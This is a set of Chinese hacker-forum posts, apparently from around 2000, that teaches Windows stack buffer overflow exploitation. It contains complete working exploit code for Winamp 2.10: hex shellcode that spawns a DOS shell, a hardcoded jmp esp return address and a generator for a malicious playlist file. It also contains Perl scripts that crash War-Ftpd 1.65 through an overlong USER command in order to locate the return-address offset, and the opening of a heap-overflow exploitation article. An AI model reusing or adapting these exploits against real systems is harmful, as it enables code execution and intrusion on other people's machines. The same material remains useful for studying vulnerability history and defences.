其次，windows在执行mov esp，ebp的时候，把废弃不用的堆栈用随机数据填充
（实验所得，机制如何，大家一起研究），因此我们的shellcode可能会被覆盖！
－－－－这下完蛋了，我们的shellcode都没了，返回地址正确又有什么用？？
所以，我们的shellcode必须改成如下方式：NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓
冲区
溢出发生之后，堆栈的布局如下：
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部
看到了吗？我们的A覆盖了返回地址。S位于堆栈的底部。A的内容，就是指向S的调
用。
但是，刚才我们说过A里面是含有0字符的，这样的溢出字符串，在A处就被0阻断，
根本无法到shellcode。我们需要把A改成不包含0的地址。
好像没有办法了，是吗？现在我们的A如何能做到即可以跳转到我们的shellcode，
又可以不包含0字节呢？
大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧？
他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转
的思想。我不得不说这是一个天才的想法。事实上，这一技巧开创了一个崭新
的windows缓冲区溢出的思路。
思路是这样的：返回地址A的内容不指向我们的shellcode开始地点，否则的话
A里面必然含有0。我们知道系统核心的dll都是在2－4G，也就是从0x80000000到
0xffffffff,这里面的指令地址将不包含0，（当然几个别的除外，我们可以不用他
）。
因此，我们可以令返回地址A等于一个系统核心dll中的指令的地址，这个指令的
作用就是call/jmp 我们的shellcode。
但是他怎么才能知道我们的shellcode的地址呢？
答案是：用寄存器。因为在溢出发生的时候，除了eip跳到了系统核心dll去之外，
其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息
。
比如说，敌人的函数如果有参数的话，那么我们的A覆盖了他的返回地址，
shellcode
的开始地址则恰恰在他的第一个参数的位置上，那我们就可以用call [ebp+4]或者
我们假设敌人第一个参数的地址在eax，那我们就可以使用call/jmp eax来调用
shellcode。
这些寄存器的值，我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和
堆栈的详细资料。
那么我们怎么知道哪里有call/jmp eax什么的呢？我们又怎么知道这些指令是每次
都在
内存中可以直接调用呢？
答案是：系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.
这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。
你可以在这些dll里面搜索你需要的指令。其他的dll，比如msvcrt。dll就要去看
程序
自己的import列表了。看看他是否load了这个dll。不过一般的说，这几个dll就够
了。
好，那么我们的shellcode最终为：
NNNNNNNNNNNNNNNASSSSSSSS
其中：N为NOP指令
A为指向某一条call/jmp指令的地址，这个call/jmp指令位于系统核心内存
>0x80000000，
这个call/jmp指令具体的内容，需要根据我们exploit出来的结果分析得知。
S：shellcode。
有了这些基础知识，我们来分析一个实例。
大家都有winamp吧，他的2.10有缓冲区漏洞，下面我们来实现一个exploit。
winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度
如果大于一定长度就会发生堆栈溢出。我们可以写出测试串，精确的测试。
test.cpp
------------------------------------------------------------------------
----
#include
int main()
{
char buffer[640];
char
        eip[8] = "";
char sploit[256] = "";
FILE *file;
for(int
        x=0;x<640;x++)
{
switch(x%4)
        {
case 0: buffer[x] =
        'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26;
        break;
case 2: buffer[x] =
        'A'+x/26%26;     break;
case
        3: buffer[x] = 'A'+x%26;break;
}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");
fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
------------------------------------------------------------------------
----
算法很简单，是写出一个crach.pls文件，内容可以根据那几个fprintf看出来的。
我就不讲了，其中buffer的内容为测试用的字符串。这个测试程序可以测试
最长为26^3的串，足够了。
编译执行，看看结果，嘿，发生了堆栈溢出，结果如下：
WINAMP 在 00de:4c574141 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:
Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141
根据eip=4141574c计算得出，addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好，溢出的位置为580。
大家现在知道我们的溢出字符串中，返回地址A应该在串的580处，那么我们应该
让他使用什么call/jmp指令以达到shellcode呢？
看看寄存器dump，我们发现ESP里面的内容是41415750，恰好是4141574c之后的
第一个数。看来ESP指向我们的shellcode，太棒了！我们使用指令：
jmp ESP 就可以执行我们的shellcode了。
现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF
E4.
因为系统核心dll的加载地址都是从地址0xBf000000开始，所以我们
搜索s Bf000000 L ffffffff ff,e4
得到了哪些结果？
一堆呀，这第一个是：BFF795A3。看看softice里面的进程名称栏：
Kernel32!GetDataFormatA+1554好，是kernel32.dll里面的，肯定是可以用的啦。
ok，问题解决，我们现在可以确定在buffer〔580〕处，写入四个字节：
"\xa3\x95\xf7\xbf".这就是我们的溢出字符串中的返回地址A。
好了，现在溢出字符串已经基本分析完了，就差shellcode了。
下面我们来写shellcode。
我们的shellcode要开一个dos窗口。C语言的算法描述是：
LoadLibrary("msvcrt.dll");
system("command.com");
exit(0)；
很简单，是不是？下面是汇编代码：
首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是开一个dos窗口：
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后执行exit，退出来。
push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]
简单说一下，msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
要想使用system,exit，必须加载这个库。而winamp没有import这个库，
所译我们需要自己加载。
指令 mov edx,0xBFF776D4中，0xBFF776D4是函数LoadLibraryA的地址。
他的代码在kernel32.dll中，是被winamp加载了的dll。我的机器上kernel32.
dll
版本是： (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函数system的地址。版本：(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函数exit的地址。版本：(v6.00.8397.0)
由于里面有0，所以使用两条指令来完成：
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504

编译，找出二进制code：
shellcode：
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";
好了，所有的算法都讨论完了，下一讲我们就来实现一个exploit。

--
我问飘逝的风：来迟了？
风感慨：是的，他们已经宣战。
我问苏醒的大地：还有希望么？
大地揉了揉眼睛：还有，还有无数代的少年。
我问长空中的英魂：你们相信？
英魂带着笑意离去：相信，希望还在。
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 203.207.226.124]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: cloudsky (小四), 信区: Security
标 题: 堆栈溢出系列讲座(9)(ipxoid smth)
发信站: 武汉白云黄鹤站 (Thu Feb 24 14:41:57 2000), 站内信件
堆栈溢出系列讲座
window系统下的堆栈溢出－－－－最后的完善

我们把前面写的测试程序稍加改动就是一个exploit程序：
exploit.cpp
------------------------------------------------------------------------
----
#include
int main()
{

char buffer[640];
char eip[8] = "\xa3\x95\xf7\xBF";
char shellcode[256] =

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"//load

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"

"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
------------------------------------------------------------------------
----
OK，运行他，生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
就应该出一个dos。出来了吗？
哎呀，怎么又是错误？
WINAMP 在 017f:004200c3 的模块
WINAMP.EXE 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090
看看出错信息，EIP是4200c3,看来已经开始执行我们的shellcode了，怎么会有
无效页错误呢？看来我们的shellcode有问题。
这个时候，s－ice就又派上用场了，跟踪一下看看：
ctrl-d
bpx bff795a3(就是我们的jmp esp)
x
好，现在运行winamp，打开文件crash.pls,被s－ice拦下，开始跟踪。一个jmp
esp
之后，就到了我们的shellcode上，继续执行，看到了什么吗？
奇怪！我们的shellcode变短了，到B8249801，后面就没有了。这是怎么回事？
应该是\xB8\x24\x98\x01\x78呀，\x01到什么地方去了？
看来敌人把输入的溢出字符串作乐处理，把不能作为文件名的字符都作为0处理了
（事实上这是win32api函数作的处理）。我们的shellcode被截断了。
我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换
shellcode，
去掉那些有问题的字符：\x01
我们作如下替换：
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
汇编得到：

xB8\x24\x98\x01\x78 ----> \xB8\xFF\xFF\xFF\xFF
\x2d\xdB\x67\xFe\x87
得到下面的新程序：
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf
* modify by ipxodi 20-01-2k
* for windows98 the 2nd version and for a new shellcode.
* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?）
* ipxodi@263.net
*/
#include
int main()
{

char buffer[640];
char eip[8] = "\xa3\x95\xf7\xbf";
char sploit[256] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\xFF\xFF\xFF\xFF\x2d\xdB\x67\xFe\x87\xFF\xD0"

"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}

OK，运行他，生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
结果如下，我可爱的dos出来了：
Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.
D:\hacker\document\ipxodi>dir
..........................
.........就不贴了.........
--
我问飘逝的风：来迟了？
风感慨：是的，他们已经宣战。
我问苏醒的大地：还有希望么？
大地揉了揉眼睛：还有，还有无数代的少年。
我问长空中的英魂：你们相信？
英魂带着笑意离去：相信，希望还在。
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 203.207.226.124]

--------------------------------------------------------------------------------
分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: cloudsky (小四), 信区: Security
标 题: 堆栈溢出系列讲座(10)(ipxodi smth)
发信站: 武汉白云黄鹤站 (Thu Feb 24 14:43:20 2000), 站内信件
堆栈溢出系列讲座
window系统下的堆栈溢出--总结

经过这次实战的演练，大家一定对windows下的buffer overflow有了很深的掌握了
。
我们可以看到，windows下的堆栈溢出攻击和unix下的，原理基本相同。但是，
由于windows用户进程地址空间分配和堆栈处理有其独立的特点，导致了windows
环境下堆栈溢出攻击时，使用的堆栈溢出字符串，与unix下的，区别很大。这也
是我在写完linux下的堆栈溢出系列之后，另外写windows系列的原因。
另外，大家从破解的过程中，可以发现我一再强调windows的版本。事实上，这
也导致了windows下的exploit不具有通用性。大家的windows版本不一，
而exploit使用了很多动态链接库里面的库函数，其地址都是与dll的版本有
关系的。不同的dll版本，里面的库函数的偏移地址就可能（注意：是可能）
不同。因为windows的patch天天有，他的一些dll就更新很快。甚至可能不同
语言版本的windows，其核心dll的版本都不同。用户的dll一变更，
那么，我们的exploit里面的shellcode就要重新写。
为了解决这个问题，我想我们可以尽量减少固定地址的使用。即，使用
GetProcAddress来获得我们将使用的每一个系统函数，当然这就大大加长了
我们的shellcode。但是，这也无法消除对kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用，因为这两个是shellcode中最基本的
函数，自然就导致了对kernel32.dll版本的依赖。
这里奉劝大家，当你写的exploit发生无效页错误时，不要灰心。运行sice，
跟踪你的shellcode，会发现问题的根源的。
因此，这也回答了去年xsz,littleworm它们的问题。当时我们实验IIS4.0
的exploit总是没有成功，client端执行完了以后server端我们经常看到
access violation的框，就是因为shellcode的版本依赖问题导致的。
所以，对于windows下的堆栈溢出exploit，必须公开原代码，才能由其他人完成
别的版本的修改，这一点，大家以后公布exploit时，要记住。
说一句题外话：
很多人运行了堆栈溢出exploit以后没有成功，就认为自己的机器没有毛病。
对此，dark spyrit AKA Barnaby Jack曾有这样的建议：
If the exploit failed......
Do not determine the threat to your servers solely on the results of
one
public exploit - the vulnerability exists, fix it. If you think that
was
the only demonstration code floating around you need your head
examined.
以前咱们水木黑客版97年堆栈溢出大讨论的时候，raner就很高水平的探讨过
windows下的buffer overflow。他的文章现在还在，大家可以去精华区看看。
不过当时只是探讨原理，还停留在堆栈溢出的可行性，远没有探讨利用他来攻击。
我也曾经以为windows的堆栈溢出攻击是不必要的。
后来，NT的中普通用户获取admin，我想到过仿照UNIX，搞缓冲区溢出攻击。
因为NT里面有很多系统进程，都是以system账号启动的。如果我们可以将它们
overflow，按照上面的方法，可以得到dos，（NT下是cmd.exe），将拥有
超级用户的权限。当然可以为所欲为了。
这只是windows NT下堆栈溢出攻击的一个应用。去年，我研究IIS4.0的溢出之后，
发现带有问题的windows网络服务程序导致了windows堆栈溢出，可以帮助我们
获得远程控制。才认识到windows堆栈溢出攻击将是一个很有研究价值的攻击
手段。
在后续的研究中，有时候因为困难几乎要放弃。好在有小懒虫(sysword)，
小四(hellguard)，康师傅(kxn)这些网友
给我的督促和帮助。在此感谢，同时感谢以前一起讨论过windows系列堆栈溢出
的朋友littleworm,xsz它们。
最后，我希望我的讲座作为抛砖引玉，能够引发大家更深入的探讨。希望大家在
看了之后，能够对windows堆栈溢出技术有一定了了解。如果大家能够提出改进的
算法，或者发现新的exploit，就真正是光大了我们黑客版的精神。
让我们以下面这句话共勉：
"If you assume that there's no hope, you guarantee there will be no
hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."
-Noam Chomsky
--
我问飘逝的风：来迟了？
风感慨：是的，他们已经宣战。
我问苏醒的大地：还有希望么？
大地揉了揉眼睛：还有，还有无数代的少年。
我问长空中的英魂：你们相信？
英魂带着笑意离去：相信，希望还在。


堆栈溢出点定位的2种方法
文章作者：SuperHei
信息来源：安全天使
漏洞软件：War-Ftpd version 1.65
调试软件：Ollydbg
程序编写：perl
漏洞描叙：构造USER，导致stack溢出。
关于一些调试的问题请参考：《Win32缓冲区溢出实战》
http://www.ph4nt0m.org/doc/20041101160955.pdf
我们首先模仿ftp登陆写个脚本,并把提交的user用AAAA.....表示个数用参数提交，我们要确定的溢出点，就是看当我们提交的AAA.....刚刚覆盖我们的ret的个数。
#!/usr/bin/perl
use IO::Socket;
$ARGC = @ARGV;
$host = "127.0.0.1";
$port = "2121";
$eff=@ARGV[0];
$buff='A'x$eff;
my $sock = IO::Socket::INET->new(Proto
        =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die
        "Sorry! Could not connect to $host \n";
print $sock "USER $buff\n";
print "USER $buff\n";
close $sock;

下面我们使用2分法来确定这个$eff.首先用ollydbg加载我们War-Ftpd并运行。
我们运行的pl
C:\usr\bin>exp.pl 800
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
当我们提交800个A时，溢出触发了，War-Ftpd挂了:).此时eip值为41414141。
这里我们重新用olldbg调试一次，这一次我们提交400个A：
C:\usr\bin>exp.pl 400
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
这时漏洞根本就没有触发，说明我们的ret根本没有被我们提交的AAAA覆盖。 我们可以确定
$eff的值在400-800之间。
我们在测试550个A，漏洞又被我们触发了，那么我们确定$eff的值在400-550之间
....................
最后，当我们提交489个A时，最后的4个A覆盖了我们的返回地址（ret）ollydbg可以看到我们
的eip正好被41414141覆盖，因此我们确定溢出点了:).也就是我们可以初步确定exp提交的字符了：
USER AAAA.....(485个)+RET+ShellCode
接下来我们要做的就是确定shellcode的地址，我们调试可以看到在esp附近可以找到我们的shellcode
那么我们就可以采用jump exp（或call esp）的地址覆盖RET，那么我们的转跳就完成了...............
其实我们这里只是完成了exp的一个小部分，主要还有shellcode的编写和调试，这个部分由于我基础
没打好，现在还不怎么熟悉，努力ing:)。
b.利用2次溢出定位溢出点
这个方法最开始在黑防上见到的，例子是上次的那个War-Ftpd version 1.65的user漏洞
第1次溢出代码：
#!/usr/bin/perl
use IO::Socket;
$host = "127.0.0.1";
$port = "2121";
my $sock = IO::Socket::INET->new(Proto
        =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die
        "Sorry! Could not connect to $host \n";
print $sock "USER ";
#关键代码
for($i=0;$i<800;$i++){
$k=$i%10+100; #<==注意这里
print $sock chr($k);
print chr($k);}
print $sock "\n";
close $sock;

用ollydbg加载War-Ftpd并运行。
C:\usr\bin>buff1.pl
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
defghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklmdefghijklm
看到了把我们提交的是10进制是100-109之间字母就是 d-m 这个用来确定尾数。
溢出被触发，此时的eip为0x6C6B6A69 对应的字母是 lkji 机器码排列是反向存在的
所以我们覆盖的ret地址最开始字母是i，机器码0x69。其中没段d-m的字母是以d开始
的，对应的机器码为0x64, 我们可以确定提交buff长度尾数为：0x69-0x64=5 开始覆
盖ret。
第2次溢出代码：
#!/usr/bin/perl
use IO::Socket;
$host = "127.0.0.1";
$port = "2121";
my $sock = IO::Socket::INET->new(Proto
        =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die
        "Sorry! Could not connect to $host \n";
print $sock "USER ";
#关键代码
for($i=0;$i<800;$i++){
$k=$i/10+100; #<==注意这里
print $sock chr($k);
print chr($k);}
print $sock "\n";
close $sock;

用ollydbg重新加载War-Ftpd并运行。
C:\usr\bin>buff1.pl
ddddddddddeeeeeeeeeeffffffffffgggggggggghhhhhhhhhhiiiiiiiiiijjjjjjjjjjkkkkkkkkkk
llllllllllmmmmmmmmmmnnnnnnnnnnooooooooooppppppppppqqqqqqqqqqrrrrrrrrrrssssssssss
ttttttttttuuuuuuuuuuvvvvvvvvvvwwwwwwwwwwxxxxxxxxxxyyyyyyyyyyzzzzzzzzzz{{{{{{{{{{
||||||||||}}}}}}}}}}~~~~~~~~~~??????????亖亖亖亖亖倐倐倐倐倐儍儍儍儍儍
剟剟剟剟剟厖厖厖厖厖唵唵唵唵唵噰噰噰噰噰垐垐垐垐垐墘墘墘墘墘妸妸妸妸妸媼媼媼媼媼
寣寣寣寣寣崓崓崓崓崓帋帋帋帋帋弿弿弿弿弿悙悙悙悙悙憫憫憫憫憫拻拻拻拻拻摀摀摀摀摀
敂敂敂敂敂晻晻晻晻晻枛枛枛枛枛棗棗棗棗棗槝槝槝槝槝櫃櫃櫃櫃櫃殮殮殮殮殮洓洓洓洓洓
湝湝湝湝湝潩潩潩潩潩灋灋灋灋灋煙煙煙煙煙牋牋牋牋牋　　　　　ⅱⅱⅱⅱⅱ＃＃＃＃＃
いいいいいゥゥゥゥゥΖΖΖΖΖЁЁЁЁЁèèèèè┅┅┅┅┅
鞍鞍鞍鞍鞍北北北北北膊膊膊膊膊吵吵吵吵吵
此时eip为0x94949494 这个是来确定在那个段发生溢出的：0x94-0x64=48
综合上面2次溢出，溢出点为： (0x94-0x64)x10+(0x69-0x64)=485,即当我们提交长度为485的
buff时，开始覆盖ret。 6e-64x100+80-64=1122


堆溢出的研究
堆溢出的研究

作者：袁哥 yuange@nsfocus.com

实在无聊，贴点新东西，不过最后一点做了处理。程序代码嘛，就不能帖了。其实堆溢
出同样是需要解决溢出的三要点，溢出点确定，定位shellcode，跳转到shellcode。
UNIX版下面的《高级format string exploit技术P59-0x07(上)》
http://bbs.nsfocus.com/index.php?act=ST&f=2&t=137798
其实就是解决这些问题，但没有把这些问题的根本归纳出来。
根据我的下面文章的总结，其实堆溢出与格式串溢出特像，就是“一个format strings
的bug可以使往任何数据写到任何地方。作者把它称为write-anything-anywhere权限”。
现在堆溢出的研究有点升温，暴露出来的堆溢出漏洞也越来越多，所以就有必要研
究有效的堆溢出攻击方法了。由于堆溢出只是溢出的一种形式，原理已经介绍得比较
多，也比较简单，所以就不再做这方面的介绍。

一、堆溢出后的后果；
现在的系统管理堆，为了查询的高效快速，一般都使用的双向链表结构。我们来看
双向链表管理的时候的删除操作。*a,*b,*p1,*p2,*c,*d都是指针，考虑双向链表,
a,b--->p1,p2--->c,d,其中由双向链表有*b=p1，*p1=a,*p2=c。如果是空闲内存链表，
那么申请使用p1、p2指向的内存，或者如果是使用内存链表，释放p1、p2指向的内存，
都会从这个链表中删除p1,p2。删除后的链表是a,b--->c,d，应该有内存改写操作：
*b=c，*c=a。这时代码是经过链表检索从a,b得到的p1,p2，一般为了高效等就不会记忆
a,b，因为双向链表就是为了从一个结点可以方便的得到上级和下级结点。所以那两条
内存操作都将会转换成p1、p2相关的操作。根据前面得到的信息，经过简单的代换就可
以得到我们需要的代码：
*b=p1，*p1=a,*p2=c,b=a+1
*b=c--->*(a+1)=c--->*(*p1+1)=*p2
*c=a--->*(*p2)=*p1
两次指针，可能看起来不是很习惯，再把*p1记成p1,*p2记成p2，那么就有：
*p2=p1
*(p1+1)=p2
这就是堆溢出后导致的两个写内存操作，以后考虑堆溢出，不考虑细节的话基本上就可
以用这两条代码代替。这时的p1、p2已经不是指那链表的位置了，而是指里面的内容。

二、利用。
要利用堆溢出，就考虑上面总结的两条代码的利用就是了。
1、改写内存参数，直接利用。可以改写重要变量，还有一个字符串的长度，格式
串等，让起改写后再产生别的溢出等。这要改写一般只能改写数据段里面的东西，因为
这位置相对固定并且可写。
2、改写函数指针性质的调用入口等。这个要写远程通用程序的难点还是shellcode
的定位问题，只要有一个定位shellcode的办法，基本上就可以有一种堆溢出的利用办
法。
（1）、unix等系统下面的s位程序的本地溢出。这个应该算比较简单好利用的一个
应用了。shellcode通过环境块等传递，就可以比较精确的找到shellcode的位置。这样
